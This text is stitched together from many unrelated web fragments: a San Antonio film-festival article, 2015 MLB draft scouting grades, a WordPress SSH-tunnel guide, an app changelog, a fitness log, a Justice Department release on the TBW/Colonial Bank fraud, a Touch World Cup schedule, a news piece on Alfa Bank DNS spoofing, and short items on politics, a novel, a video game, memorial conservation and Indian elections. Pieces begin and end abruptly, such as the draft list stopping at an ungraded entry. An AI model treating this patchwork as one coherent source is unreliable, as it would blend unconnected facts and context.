It's especially true for Latino directors, a sub-section of the filmmaking community Mendiola wants to continue to champion through CineFestival.
"I definitely want to promote films made by U.S. Latinos that directly reflect their experience here," Mendiola said.
"That doesn't mean the exclusion of Mexican films or other Latin American films, but I want CineFestival to become the focal point for U.S. Latino production," he added.
Courtesy
James Dean on location for the film Giant in Marfa, Texas in 1955. This year's CineFestival opens with a screening of the documentary Children of Giant.
This year's CineFestival film lineup showcases that vision. Of the 12 feature-length films screening during the weeklong festival, eight of them are directed by U.S. Latinos. Although what constitutes a "Latino film" is not necessarily a "hard and fast rule," according to Mendiola, the quality and objective of the film takes precedent over everything else. But that's easier said than done, due to the lack of indie films from which to choose.
[Related: A Look At 8 Films Screening At CineFestival
"It's difficult because there are not a lot of Latinos creating work about themselves," Mendiola said. "I put a program together that reflects what is happening in the industry. It all comes down to depiction and intent."
Helping to boost the creation of more Latino content is the return of the Latino Screenwriting Project, a three-day workshop organized with backing from the Sundance Institute and designed to support U.S.-based Latino writers and filmmakers working on independent feature narrative screenplays.
In only its third year, the Latino Screenwriting Project drew over 100 submissions, tripling the number received in 2013. It's a program Mendiola thinks will help new Latino talent emerge and take stories to a higher level.
"There's a void to be filled and CineFestival wants to help fill it," Mendiola said. "Great films are made by starting from the very beginning — with an idea and with a script. The byproduct of that is becoming a more effective national film festival."
37th Annual CineFestival
1 Brendan Rodgers SS Lake Mary (Fla.) HS
Scouting grades:
Hit: 60 | Power: 60 | Run: 50 | Arm: 60 | Field: 60 | Overall: 60
A line drive hitting machine. Rodgers does a lot of things right and is very consistent. He is a Florida State recruit….MORE (full bio)
2 Michael Matuella RHP Duke
Scouting grades:
Fastball: 70 | Curveball: 60 | Slider: 50 | Changeup: 55 | Control: 50 | Overall: 60
Matuella should be come the second first-round pick out of Duke since 2012 when the Blue Jays selected Marcus Stroman #22 overall. Matuella has the highest ceiling out of… MORE(full bio)
3 Brady Aiken lhp IMG Academy
Scouting grades: Fastball: 60 | Curveball: 55 | Changeup: 60 | Control: 60 | Overall: 60
Aiken was selected #1 overall last season by the Astros and eventually would not sign as the Stros’ became concerned with his elbow…MORE (full bio).
4 Kyle Funkhouser rhp Louisville
Scouting grades: Fastball: 60 | Slider: 50 | Changeup: 50 | Control: 50 | Overall: 55
Kyle Funkhouser finished the 2014 campaign with a NCAA D1 high of 13 wins and help led Louisville to it’s second straight College World Series appearance….MORE (full bio)
5 Walker Buehler rhp Vanderbilt
Scouting grades: Fastball: 60 | Curveball: 50 | Slider: 55 | Changeup: 55 | Control: 55 | Overall: 55
Buehler headlines the trio of potential first-round selections from Vanderbilt.
Buehler had a helluva spring and summer which began by Vanderbilt capturing the College World Series title….MORE (full bio)
6 Dansby Swanson 2b/ss Vanderbilt
Scouting grades: Hit: 55 | Power: 40 | Run: 60 | Arm: 55 | Field: 55 | Overall: 55
Swanson worked through multiple injuries during his freshman campaign limiting him to just 16 at-bats. The 2014 season was a great showcase for him as he helped lead the Commodores to their first ever College World Series title….MORE (full bio)
7 Nathan Kirby lhp Virginia
Scouting grades: Fastball: 60 | Slider: 50 | Changeup: 55 | Control: 55 | Overall: 55
Kirby burst onto the scene in 2014 after working out of the Cavaliers bullpen in 2013. He started 18 games and 15 of which were quality starts. He quickly became Virginia’s #1 starter and was rewarded for his efforts by being named the Co-Pitcher of the Year in the ACC in 2014….MORE (full bio)
8 Justin Hooper lhp De La Salle, Concord, Calif.
Scouting grades: Fastball: 70 | Curveball: 50 | Changeup: 50 | Control: 45 | Overall: 55
Justin Hooper is a tall lefty (6’7″) who’s velocity spiked his junior year at High School to 93-95mph…MORE (full bio)
9 Nick Plummer of Brother Rice HS, Bloomfield Hills, Mich.
Scouting grades: Hit: 60 | Power: 50 | Run: 55 | Arm: 40 | Field: 50 | Overall: 55
Plummer skyrocketed on to the scene after delivering eye-popping performances in the East Coast Professional Showcase and the prestigious Area Code Games…MORE (full bio)
10 Kolby Allard lhp San Clemente (Calif.) HS
Scouting grades: Fastball: 60 | Slider: 55 | Changeup: 50 | Control: 55 | Overall: 55
Armed with a mid 90’s fastball and a devastating breaking ball, Allard becomes a projectable lefty with solid command. Allard has pitched very limited in 2015 as he suffered a “stress reaction” in his back that has sidelined him since the middle of March…MORE (full bio)
11 Trenton Clark of Richland HS, North Richland Hills, Texas
Scouting grades: Hit: 60 | Power: 50 | Run: 50 | Arm: 45 | Field: 55 | Overall: 55
12 Ashe Russell rhp Cathedral Catholic HS, Indianapolis
Scouting grades: Fastball: 60 | Slider: 55 | Changeup: 50 | Control: 55 | Overall: 55
13 Alex Bregman ss Louisiana State
Scouting grades: Hit: 60 | Power: 50 | Run: 50 | Arm: 50 | Field: 45 | Overall: 55
Bregman is arguably one the better defensive shortstops in the nation. Along with his defensive prowess he also offers a ton of offensive ability….MORE (full bio)
14 Daz Cameron of Eagle’s Landing HS, McDonough, Ga.
Scouting grades: Hit: 60 | Power: 50 | Run: 50 | Arm: 50 | Field: 60 | Overall: 55
15 Carson Fulmer rhp Vanderbilt
Scouting grades: Fastball: 65 | Curveball: 60 | Changeup: 50 | Control: 50 | Overall: 55
Fulmer is a power-pitcher who throws strikes. Armed with a 95-98 fastball and sharp breaking ball, Fulmer has the makings of a quality big leaguer. He was part of the epic 2014 season for Vanderbilt that culminated in winning the College World Series…MORE (full bio)
16 Ian Happ of Cincinnati
Scouting grades: Hit: 60 | Power: 50 | Run: 50 | Arm: 55 | Field: 55 | Overall: 55
An under-valued outfielder that delivers on a consistent basis. That’s a pretty good description of Ian Happ. Happ does a lot of things right, he draws walks, steals bases, plays solid defense and has a real good idea what he is doing at the plate…MORE (full bio)
17 Riley Ferrell rhp Texas Christian
Scouting grades: Fastball: 70 | Slider: 60 | Changeup: 40 | Control: 50 | Overall: 50
Ferrell is TCU’s closer and he has all the makings of a quality reliever at the big league level. Armed with a 94-97mph fastball…MORE (full bio)
18 Chris Betts c Wilson HS, Long Beach, Calif.
Scouting grades: Hit: 55 | Power: 55 | Run: 20 | Arm: 50 | Field: 50 | Overall: 50
19 Kyle Cody rhp Kentucky
Scouting grades: Fastball: 65 | Slider: 50 | Changeup: 50 | Control: 50 | Overall: 50
Cody has a perfect pitchers body, at 6’7 245lbs with a clean mechanics and has pitched against some of the better college hitters in the nation…MORE (full bio)
20 Phil Bickford rhp JC of Southern Nevada
Scouting grades: Fastball: 65 | Slider: 50 | Changeup: 50 | Control: 50 | Overall: 55
Bickford was a standout high school pitcher that was drafted by the Toronto Blue Jays with the 10th overall pick in the 2013 draft. The Jays fell in love with his overpowering fastball,… MORE (full bio)
21 Gio Brusa of Pacific
Scouting grades: Hit: 60 | Power: 60 | Run: 50 | Arm: 50 | Field: 50 | Overall: 50
Brusa is one of the top power prospects available in the 2015 MLB Draft. Brusa grabbed the attention of scouts for his play in the Cape Cod League during the summer of 2014… MORE (full bio)
22 DJ Stewart of Florida State
Scouting grades: Hit: 55 | Power: 50 | Run: 45 | Arm: 45 | Field: 50 | Overall: 50
23 James Kaprielian rhp UCLA
Scouting grades: Fastball: 50 | Curveball: 50 | Slider: 50 | Changeup: 60 | Control: 55 | Overall: 50
24 Jake Lemoine rhp Houston
Scouting grades: Fastball: 60 | Slider: 50 | Changeup: 50 | Control: 55 | Overall: 50
25 Cody Ponce rhp Cal Poly Pomona
Scouting grades: Fastball: 60 | Cutter: 55 | Curveball: 45 | Changeup: 45 | Control: 55 | Overall: 50
26 Kevin Newman
SS Arizona
Scouting grades: Hit: 55 | Power: 30 | Run: 55 | Arm: 50 | Field: 50 | Overall: 50
27 Chandler Day of Watkins Memorial HS, Pataskala, Ohio
Scouting grades: Fastball: 55 | Slider: 50 | Changeup: 50 | Control: 55 | Overall: 50
28 Kyle Tucker of Plant HS, Tampa
Scouting grades: Hit: 60 | Power: 55 | Run: 45 | Arm: 50 | Field: 50 | Overall: 50
29 Garrett Whitley of Niskayuna (N.Y.) HS
Scouting grades: Hit: 55 | Power: 50 | Run: 55 | Arm: 50 | Field: 55 | Overall: 50
30 Beau Burrows rhp Weatherford (Texas) HS
Scouting grades: Fastball: 65 | Curveball: 50 | Changeup: 50 | Control: 50 | Overall: 50
31 Richie Martin ss Florida
Scouting grades: Hit: 55 | Power: 45 | Run: 55 | Arm: 60 | Field: 60 | Overall: 50
32 Tyler Jay lhp Illinois
Scouting grades: Fastball: 60 | Curveball: 50 | Changeup: 45 | Control: 50 | Overall: 50
33 Dillon Tate rhp UC Santa Barbara
Scouting grades: Fastball: 65 | Slider: 60 | Changeup: 50 | Control: 50 | Overall: 50
34 Alex Young lhp Texas Christian
Scouting grades: Fastball: 55 | Curveball: 50 | Slider: 50 | Changeup: 50 | Control: 55 | Overall: 50
35 Donny Everett rhp Clarksville HS (Tenn)
Scouting grades: Fastball: 60 | Slider: 50 | Changeup: 50 | Control: 50 | Overall: 50
36 Mike Nikorak rhp Stroudsburg (Pa.) HS
Scouting grades: Fastball: 65 | Curveball: 55 | Changeup: 50 | Control: 50 | Overall: 50
37 Andrew Suarez lhp Miami
Scouting grades: Fastball: 60 | Curveball: 55 | Changeup: 55 | Control: 50 | Overall: 50
38 Marc Brakeman rhp Stanford
Scouting grades: Fastball: 60 | Slider: 50 | Changeup: 50 | Control: 50 | Overall: 50
39 Chris Shaw 1b Boston College
Scouting grades: Hit: 55 | Power: 60 | Run: 20 | Arm: 50 | Field: 45 | Overall: 50
40 Demi Orimoloye of St. Matthew HS, Orleans, Ontario, Canada
Scouting grades: Hit: 50 | Power: 60 | Run: 60 | Arm: 60 | Field: 50 | Overall: 50
41 Cornelius Randolph 3b/1b Griffin (Ga.) HS
Scouting grades: Hit: 55 | Power: 50 | Run: 50 | Arm: 60 | Field: 50 | Overall: 50
42 Alonzo Jones 2B/OF Columbus (Ga.) HS
Scouting grades: Hit: 50 | Power: 40 | Run: 80 | Arm: 50 | Field: 45 | Overall: 50
43 Triston McKenzie rhp Royal Palm Beach (Fla.) HS
Scouting grades: Fastball: 60 | Curveball: 50 | Changeup: 50 | Control: 50 | Overall: 50
44 Cole McKay rhp Smithson Valley HS, Spring Branch, Texas
Scouting grades: Fastball: 60 | Curveball: 50 | Changeup: 45 | Control: 50 | Overall: 50
45 Austin Smith rhp Park Vista Community HS, Boynton Beach, Fla.
Scouting grades: Fastball: 65 | Curveball: 45 | Changeup: 55 | Control: 50 | Overall: 50
46 Joe McCarthy of Virginia
Scouting grades: Hit: 55 | Power: 50 | Run: 50 | Arm: 40 | Field: 55 | Overall: 50
47 Kyle Molnar rhp Aliso Niguel HS, Aliso Viejo, Calif.
Scouting grades: Fastball: 60 | Curveball: 45 | Changeup: 55 | Control: 50 | Overall: 50
48 Kep Brown of Wando HS Mount Pleasant, S.C.
Scouting grades: Hit: 50 | Power: 55 | Run: 50 | Arm: 45 | Field: 55 | Overall: 50
49 Bryce Denton of/3b Ravenwood HS, Brentwood, Tenn.
Scouting grades: Hit: 55 | Power: 50 | Run: 55 | Arm: 40 | Field: 55 | Overall: 50
50 Jon Harris rhp Missouri State
The possibilities in Transport Fever are comprehensive: Existing vehicles can be modified and new ones added to the game. New missions and buildings can be created and so-called script mods influence the game’s behavior in many ways.
The example in today’s video demonstrates how building can be easily extended with various functions and properties.
A lot of effort was put into the development of modding interfaces to make sure modding is extensive and flexible, but also accessible. Thanks to Steam Workshop support, installing and sharing mods is a matter of a few simple mouse clicks.
Setting up the SSH Tunnel
I run a local MySQL server and that runs on the standard MySQL port 3306. So as these things go, I can’t bind anything else to port 3306 locally. I have to use an alternate port number. I chose 5555, but you can use whatever you want.
The command to run in a Terminal window is:
ssh -N -L 5555:127.0.0.1:3306 remoteuser@remotedomain.com -vv
A little bit about what this means.
the -N flag means that when connecting via SSH, we are not going to execute any commands. This is necessary for tunnelling as, we literally, will not execute any commands on the remote server. Therefore, we won’t get a command prompt.
the -L flag tells SSH that we are going to port forward. The following portion, 5555:127.0.0.1:3306 combined with the -L flag means, literally, forward all traffic on localhost (127.0.0.1) connecting on port 5555 to the remote server’s port 3306 (standard MySQL listening port).
The remote server and ssh connection is handled by remoteuser@remotedomain.com. This seems obvious, but just in case. You may be prompted to enter your SSH password.
The final part can be omitted, but I like to keep it there so I know what’s happening. The -vv flag tells the SSH daemon to be extra verbose about what is happening with the connection. It’s sort of a good way to debug if you need to, and to know that the port forwarding is actually taking place.
Configuring WordPress to use the Tunnel
Now that we have a successful SSH tunnel, you have to configure WordPress to use it. In the wp-config.php file, simply modify the DB_HOST constant to read:
define ( 'DB_HOST' , '127.0.0.1:5555' ) ;
You need to add two more variables, though, to override WordPress’ existing siteurl and home options to allow you to work with the localhost domain, instead of redirecting to the remotedomain.com that is configured in WordPress.
define ( 'WP_HOME' , 'http://localhost' ) ;
define ( 'WP_SITEURL' , 'http://localhost' ) ;
BOOM!
v1.3
+ New UI
+ Added Info screen
+ Added device compatability detection (looks like it should be improved further)
+ Renamed Donate version to Premium
* Fixed scheduling dissappear after reboot (Premium version)
* Some other bug fixes
v1.2 premium
* Added auto-trim functionality which runs on specified schedule. Click Schedule button and you'll see the options. Setup the way you want and click Install. The button will change to Uninstall to remove auto-trim if needed.
* Added detection if your device supports TRIM - run it once and you will know.
* Fixed some bugs.
v1.1
* Fixed chmod not working on some custom Sense ROMs.
* Added Android 2.2+ support.
* Fixed crashes.
* App is now multi-threaded.
* Updated UI a bit.
* New icon.
* App is renamed.
Weeks
Chocolate Fudge
Samples
Banana and Butter Cream Toffee (as they’re discontinued but I still have some)
Chocolate Mint
Snickerdoodle
Vanilla
Cookies & Cream
Days
None. They’re all switched over.
Now for the bad news: Up until last night I hadn’t missed a single rep doing StrongLifts. It was inevitable that I would and it finally happened. Last week I was able to finish the full set of Overhead Press doing 95lbs but doing 100lbs was too much for me, even resting 5 minutes between sets:
The guilty plea was announced today by Assistant Attorney General Lanny A. Breuer of the Criminal Division; U.S. Attorney Neil H. MacBride for the Eastern District of Virginia; Special Inspector General Neil Barofsky for the Troubled Asset Relief Program (SIGTARP); Assistant Director in Charge James W. McJunkin of the FBI’s Washington Field Office; Michael P. Stephens, Inspector General of the Department of Housing and Urban Development (HUD OIG); Jon T. Rymer, Inspector General of the Federal Deposit Insurance Corporation (FDIC OIG); Steve A. Linick, Inspector General of the Federal Housing Finance Agency (FHFA OIG); and Victor F. O. Song, Chief of the Internal Revenue Service (IRS) Criminal Investigation.
Kissick, 50, of Orlando, Fla., pleaded guilty before U.S. District Judge Leonie M. Brinkema in the Eastern District of Virginia. Kissick faces a maximum penalty of 30 years in prison when she is sentenced on June 17, 2011. In a related action, the U.S. Securities and Exchange Commission (SEC) today filed an enforcement action against Kissick in the Eastern District of Virginia.
According to court documents, Kissick admitted that from 2002 through August 2009, she and her co-conspirators, including former TBW chairman Lee Farkas, engaged in a scheme to defraud various entities and individuals, including Colonial Bank, a federally-insured bank; Colonial BancGroup Inc.; the Troubled Asset Relief Program (TARP); and the investing public. Kissick admitted that she knowingly and intentionally placed Colonial Bank and Colonial BancGroup at significant risk by causing them to purchase and hold more than $400 million in assets on their books that had no value.
Court documents state that in early 2002, TBW began running overdrafts in its master bank account at Colonial Bank because of TBW’s inability to meet its operating expenses, which included payroll, servicing payments owed to third-party purchasers of loans and/or mortgage-backed securities and other obligations. Kissick and her co-conspirators engaged in a series of fraudulent actions to cover up the overdrafts, first by sweeping overnight money from one TBW account with excess funds into another, and later through the fictitious “sales” of mortgage loans to Colonial Bank, a fraud scheme the conspirators dubbed “Plan B.” The conspirators accomplished this by sending mortgage data to Colonial Bank for loans that did not exist or that TBW had already committed or sold to other third-party investors. Kissick admitted that she knew and understood she and her co-conspirators had caused Colonial Bank to pay TBW for assets that were worthless to the bank.
According to court documents, Kissick and her conspirators also caused TBW to engage in sales to Colonial Bank of fictitious trades that had no collateral backing them and had no value. Kissick or another co-conspirator at Colonial Bank were the points of contact for conspirators at TBW when the mortgage company needed an advance from the bank, and Kissick would generally discuss new advances with Farkas before releasing the funds to TBW. Conspirators at TBW would wire a request that included false documentation purporting to represent the sale of the trades to Colonial Bank to support the release of the funds. Kissick and others caused the false information to be entered into Colonial Bank’s books and records, giving the appearance that Colonial Bank owned a 99 percent interest in legitimate securities, when in fact the securities had no value and could not be sold.
In the fall of 2008, Colonial BancGroup submitted an application to obtain $570 million in taxpayer funding through the Capital Purchase Program, a sub-program of the U.S. Treasury Department’s TARP program. Court documents indicate that in connection with the application, Colonial BancGroup submitted financial data and filings that included materially false information related to mortgage loan and securities assets held by Colonial Bank as a result of the fraudulent scheme perpetrated by Kissick and her co-conspirators. Colonial BancGroup never received the TARP funding, and Kissick admitted that she deleted and instructed members of her staff to delete electronic communications on their Blackberry PDAs to evade subpoenas for documents from the Special Inspector General for TARP.
In August 2009, the Alabama State Banking Department, Colonial Bank’s regulator, seized the bank and appointed the FDIC as receiver. Colonial BancGroup also filed for bankruptcy in August 2009.
In June 2010, Farkas was arrested and charged in a 16-count indictment for his role in the fraud scheme. His trial is scheduled to begin in April 2011. An indictment is merely a charge and a defendant is presumed innocent until proven guilty. Desiree Brown, the former treasurer of TBW, pleaded guilty on Feb. 24, 2011, for her role in the fraud scheme.
The case is being prosecuted by Deputy Chief Patrick Stokes and Trial Attorney Robert Zink of the Criminal Division’s Fraud Section and Assistant U.S. Attorneys Charles Connolly and Paul Nathanson of the Eastern District of Virginia. This case was investigated by SIGTARP, FBI’s Washington Field Office, FDIC OIG, HUD OIG, FHFA OIG and the IRS Criminal Investigation. The Financial Crimes Enforcement Network (FinCEN) of the Department of the Treasury also provided support in the investigation.
With the calendar ticking over into April and the World Cup countdown well and truly gathering momentum, there is plenty of excitement building for the event which will be held at C.ex Coffs International Stadium, Coffs Harbour from Wednesday, 29 April until Sunday, 3 May 2015.
Here are some exciting statistics about the 2015 Touch World Cup!
* 90 teams
* 57 timeslots
* Nine divisions
* Five days of competition
* 445 games
* 27 medals on offer
* Six Member Nations will make their debut at a Touch World Cup – Chile, China, Hong Kong, Malaysia, Philippines and the United Arab Emirates
* Chile will be the first nation ever to compete from South America and United Arab Emirates the first to compete from the Middle East.
Of the 445 games occurring, there are some great clashes that will occur, including the following blockbusters:
Day One
11.30am – The Malaysian Men’s Open team will make their debut (Field Nine) at the Touch World Cup four years prior to hosting the 2017 event
12.20pm – The Philippines Women’s Open team will make their debut at the Touch World Cup against England (Field Seven). The Men's 50's division will be contested for the first time with games on Field Six (Australia v Japan) and Field Eight (Italy v Niue).
1.10pm – Chile and the United Arab Emirates make their TWC debuts against each other in the Mixed Open division on Field Four and China have the formidable task of taking on the defending Touch World Cup Champions – Australia – in the Mixed Open division on Field Seven.
2.00pm – Hong Kong will make their TWC debut against Scotland, who they also competed against at the 2013 NTL in Coffs Harbour. Field One will be used for the first time in the event with Australia taking on New Zealand in the Women's 27's division
3.40pm – Field One will be used for the first time in the event with the 2014 Women’s Open European Championships’ Gold Medal Replay between England and Wales
Day 2
9.00am – It is the 2014 Women’s 27’s European Championships’ Gold Medal Replay with England taking on France on Field One
9:50am – Field One will see a Trans Tasman showdown with Australia taking on New Zealand in the Men’s 35’s division
5.20pm – It will be another 2014 European Championships’ Gold Medal Replay with Wales taking on England on Field One in the Men’s 40’s division
Day 3
It will be a bumper day with the two top seeds as decided after day one results clashing on Field One in the Men’s Open division at 9.00am, Mixed Open at 9.50am and Women’s Open at 1.10pm.
Day 4
Our first lot of finals occur at 1.10pm with Semi Finals occurring at 2.00pm (Men’s Open), 3.00pm (Women’s Open), 4.00pm (Mixed Open) and 5.00pm (Men’s 40’s).
Day 5
18 games will be occurring with medals being on offer for all of them.
To view the full draw, please click on the attachment below.
Keep up-to-date with all of the latest news and information from the 2015 Touch World Cup:
Website – www.touchworldcup.com
Facebook – www.facebook.com/touchworldcup
Twitter - www.twitter.com/touchworldcup15
WATCH | The controversy over President Trump's servers talking to Russia may have been an elaborate digital ruse.
A Russian bank has reported to U.S. authorities that mysterious communications resumed recently between one of its computers and an email server tied to President Trump’s business empire, and it has developed evidence the new activity may be the work of a hacker trying to create a political hoax, Circa has learned.
Alfa Bank is asking the U.S. Justice Department for help solving the mystery and pledged its full cooperation.
Alfa wants U.S. authorities to help unmask a computer inside the United States that it believes has been used to launch cyberattacks spoofing the appearance of a backdoor communication channel between Moscow and America’s 45th president, according to a source directly familiar with the bank’s request.
The bank believes "these malicious attacks are designed to create the false impression that Alfa Bank has a secretive relationship with the Trump Organization,” the source said, speaking on condition of anonymity.
Alfa Bank has insisted since media stories began appearing last fall about the computer communications -- known as Domain Name Server lookups -- that it has never had a relationship to Trump or any of his companies and that any computer connections between the two parties’ computers were innocuous. The resumption of the computer pings started last month, and Alfa’s cybersecurity experts traced evidence that the activity was actually being spoofed -- or hacked --through a third party from a masked computer address inside the United States, the source said.
Like a return address
The attacks attempted to trigger verification signals between Alfa Bank and a server associated with the Trump Organization, the source said.
The source said the spoofing attempt is equivalent to someone in the U.S. sending an empty envelope to the Trump Towers but putting on the envelope a return address in Russia, causing the Trump server to falsely return the communication back to Moscow.
The source cautioned it does not yet have evidence that the same activity occurred between last May through September, causing the generation of the first server pings that computer scientists reported last fall might be evidence of secret communications between Trump and Russia.
Alfa’s working hypothesis about those earlier connections had been routine computer communications caused when an email server responds to commercial spam mail. The new evidence may lead to a re-evaluation of that conclusion, the source said.
No evidence of a nefarious relationship
The computer scientists’ allegations last fall became so widespread -- eventually appearing in media reports from Slate, CNN and The New York Times -- that the FBI briefly investigated them. Agents concluded there was no evidence from the pings of a nefarious relationship, and that they probably were the result of routine computer behavior.
Circa reported Tuesday that one of the scientists who raised media concerns about the Trump-Russia connections was L. Jean Camp, an Indiana University researcher who made 22 donations totaling more than $1,500 to Hillary Clinton last year. She told Circa that her political donations had no bearing on her concerns about the data gathered by a loose group of colleagues who legitimately believed the connections should be investigated.
Alfa cooperating with Justice
Alfa still hasn’t determined how the computer scientists gained access to the computer logs last year but hopes its cooperation with the Justice Department may identify the source of the current computer activity, as well as create a more complete picture of what may have caused the similar computer connections last year, the source said.
The source said the first cyberattack detected by Alfa this year occurred on Feb. 18 from an unidentified third party connected to a U.S. internet provider that sent out suspicious DNS queries from servers in the U.S. to a Trump Organization server. The unidentified individual or individuals made it look as though these queries originated from variants of MOSCow.ALFAintRa.nET. As a result, the DNS responses from the Trump server were returned incorrectly to Alfa Bank’s server, which triggered Alfa Bank’s automated security.
The vessel, which was contracted by the Egyptian government, continues to scan the crash site in the Mediterranean Sea to ensure that all human remains were collected, according to an official statement.
Forensic doctors are onboard the vessel to supervise the transfer of human remains to the department of forensic medicine in Cairo, where standard forensic procedures are conducted.
On 19 May, EgyptAir flight MS804, traveling from Paris to Cairo, crashed into the Mediterranean Sea, killing all 66 people onboard.
The investigation committee of the crashed EgyptAir flight MS804 said Thursday that debris suspected to be from the aircraft has been found in Israel and will be transferred to Egypt for technical inspection to confirm its origin.
Israeli officials said wreckage from the aeroplane was located on Natanya beach, north of Tel Aviv.
Paris prosecutors opened a manslaughter inquiry into the aeroplane crash late June, saying that there is no evidence of terrorism up until now.
In an interview Thursday morning on Fox News Channel, Freedom Caucus co-founder Rep. Jim Jordan (R-OH) reacted to President Trump’s tweet which reads: "The Freedom Caucus will hurt the entire Republican agenda if they don't get on the team, & fast. We must fight them, & Dems, in 2018!"
The Freedom Caucus will hurt the entire Republican agenda if they don't get on the team, & fast. We must fight them, & Dems, in 2018! — Donald J. Trump (@realDonaldTrump) March 30, 2017
REP. JIM JORDAN: Look, the Freedom Caucus is trying to change Washington. This bill keeps Washington the same, plain and simple. This bill doesn’t fully repeal Obamacare, this bill doesn’t lower premiums and probably most importantly, this bill doesn’t unite Republicans and the American people – as evidence by the fact that only 17 percent of the country supports this legislation, so we appreciate the President, we’re trying to help the President but the fact is you’ve got to look at the legislation. And it doesn’t do what we told the voters we were gonna do and the American people understand that, that’s why only 17 percent of the population supports this legislation...
Look I’m not here to assign blame to anyone, I’m not here to point to the future. What I’m focused on doing is doing what we told the voters we were gonna do Shannon and this bill doesn’t do that, plain and simple and the American people understand it, that’s why they don’t support it. We’re trying to change it, we’re working with our colleagues to actually put in place those issues or – those changes to the bill that will bring down premiums, lower the cost of insurance for middle class families across this country. That’s what we told them we were gonna do, that’s what were focused on doing so let’s just focus on that. Let’s forget the blame and what may happen in the future, let’s just do what we said and that’s what the Freedom Caucus, and that’s what Republicans are committed to.
Objectively, there is little wrong with the book itself. The writing is, for the most part, decent, even if the author has the infuriating tendency to tell, not show. Yes, the pacing manages to be laborious, even when skipping months at a time, but other books have that problem and still manage to be decent.
The fundamental problem of this book is that nothing happens. At all. There's something to be said for a book exploring the life of the everyman, to whom nothing of import happens, instead of a mythic hero, but that's not what's going on here. Many things - wonderful things - happen to the main character, Q. He learns magic, travels to other worlds, falls in love but, throughout it all, he rejects them. Nothing is good enough for him. His magic isn't magical enough. His lover is boring. And so he continues to tell himself he's meant for something better, all he while failing to live up to what minor expectations are put on him at all.
There is no character growth. Q remains the whiny, entitled, depressed child he was at the beginning of the book, only with a whole host of new, wonderful things to go on about, at the end. He lauds himself for making such good choices and goes off and does the opposite for no adequately explored reason. He tells himself he's better than everyone and fails to see he's the least of them, even after encountering gods and genuinely decent people. If anything, he revels in the depression this causes him, almost to the point of glorifying untreated mental illness.
The characters with the most potential are hardly explored at all, with most appearing to be written out by the end of the book.
The "villain" - indeed, the overarching "plot" itself - seems like an afterthought, as if the author wrote a book about your average wizard and realized he needed an actual reason for someone to read it. Indeed, the author uses the "villain"'s appearance at the end of the novel as a chance to be preachy, going on about how getting what you want is awful because it always ends up badly, and how having emotions is terrible because you might get hurt, tacked on as if an afterthought.
None of this even begins to touch the magical worlds the author has built. Rather than being a "Hogwarts for adults", as advertised, we are given a magical college that somehow manages to be more dull than any real college ever attended, and people who are, to varying degrees, obsessed with a slightly less Christian allegory version of Narnia. Neither are flushed out to anything close to the degree Hogwarts (or Middle Earth or Narnia) was, so that instead of a "magical world that feels real" that could have possibly redeemed the rest of the book, we get a suggestion of a magical world as seen through fogged glasses from a distance.
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The game - known as Valkyria: Azure Revolution in Japan, where it's being released next January - will be the series' first appearance in the west since Valkyria Chronicles 2, with the US and Europe having missed out on Valkyria Chronicles 3. That game was developed by Media.Vision, the same studio that's working on Valkyria Revolution and that was previously best known for the Wild Arms series.
August 10, 2016
Contact: Mike Litterst, 202-245-4676
"The increased presence of biofilm presents a new challenge in the care of memorials throughout the National Mall, particularly at the Thomas Jefferson Memorial," said Gay Vietzke, superintendent of National Mall and Memorial Parks. "We are continuing to study biofilm and research treatment methods, and look forward to restoring the dome to its original luster while ensuring its long-term preservation."
The blackening effects of biofilm are not a problem unique to the Jefferson Memorial. It can be found throughout Washington, from the Lincoln Memorial to tombstones at Congressional Cemetery, and around the world, from Hadrian's Villa in Italy to Angkor Wat in Cambodia and even on monuments in Egypt. It was successfully treated at the D.C. War Memorial in 2011.
While the study of the relationship of biofilms on buildings and the effects of cleaning them is still young, one of the common factors in the existence of many biofilms is the presence of nutrients and a place to grow, like stone. At the Jefferson Memorial, perhaps the most significant factor in its development is the erosion of the marble through natural weathering. The marble blocks that make up the Jefferson Memorial were smooth when they were originally hoisted into position, but over the years, rain has slowly eroded the marble, turning its once smooth surfaces into pitted surfaces –the perfect environment for a biofilm.
The black biofilm on the Jefferson Memorial first became noticeable in 2006 and has become increasingly more pronounced in recent years. A multi-disciplinary team of conservators, architects, and molecular biologists has been studying the growth on the Jefferson Memorial since 2014 as they prepare to test potential treatment options.
"Treatment of biofilm is difficult, as there is no known permanent method for removing it, and we have to ensure that any treatment must not do further damage to the soft marble of the memorial nor encourage further growth," said Catherine Dewey, chief of resource management for National Mall and Memorial Parks. "We are testing a variety of treatment techniques to find the option that is least damaging to the stone, safe for the environment and visitors, and cost effective."
National Park Service officials recently began testing ten different chemical biocides in small patches affected by biofilm at the base of the Jefferson Memorial and will monitor how effective each one is in the coming days and weeks. They will also experiment with more non-traditional treatment options, including ozonated water and irradiation with lasers.
There is no timeline for treatment of the dome and National Park Service officials stress that it's a deliberative process to ensure that whatever treatment is selected will do no further harm to the Jefferson Memorial. The treatment method ultimately chosen will help define the cost to restore the dome, which in turn drive the timeline for when the work will be scheduled.
NPS
About National Mall and Memorial Parks
The National Park Service's National Mall and Memorial Parks preserves, protects, and interprets the symbolic and monumental civic spaces and commemorative works in the center of the Nation's Capital that honor American ideals and values, distinguished public figures, and military and civilian sacrifices and contributions. On the National Mall these sites include the Washington Monument, Lincoln Memorial, Thomas Jefferson Memorial, Vietnam Veterans Memorial, Korean War Veterans Memorial, Franklin Delano Roosevelt Memorial, World War II Memorial, and Martin Luther King, Jr. Memorial. National Mall and Memorial Parks also serves as a public park and open space for active civic and cultural engagement, recreation, and public enjoyment.
West Bengal Election Watch said 80 aspirants in the third phase and 48 candidates in the fourth phase have declared criminal cases, including serious offences like murder and rape, pending against them.
In the third phase, the Trinamool Congress heads the multi-millionaires’ list with 27 candidates, followed by the Bharatiya Janata Party with 14 and the Congress with 11. Sixty-two constituencies spread across Burdwan, Kolkata, Murshidabad and Nadia districts will go to polls in the third phase on April 21.
Forty-nine constituencies in Howrah and the North 24-Parganas will go to polls in the fourth phase on April 25. In the fourth phase, Trinamool has fielded 15 candidates with criminal cases, the BJP 7 and the Congress and the CPI-M 6 each.
The BJP’s Somabrata Mandal from Shyampukur constituency in Kolkata is the wealthiest candidate in the third phase with assets worth over Rs.28.65 crore. The second wealthiest candidate is of Trinamool Congress’s Jangipur nominee Jakir Hussain with Rs 21.95 crore.
The average worth of assets held by the 418 candidates in the third phase is Rs.74.76 lakh.
In the fourth phase, the Trinamool Congress has fielded 19 crorepati candidates, followed by the BJP with eight and the Congress with five.
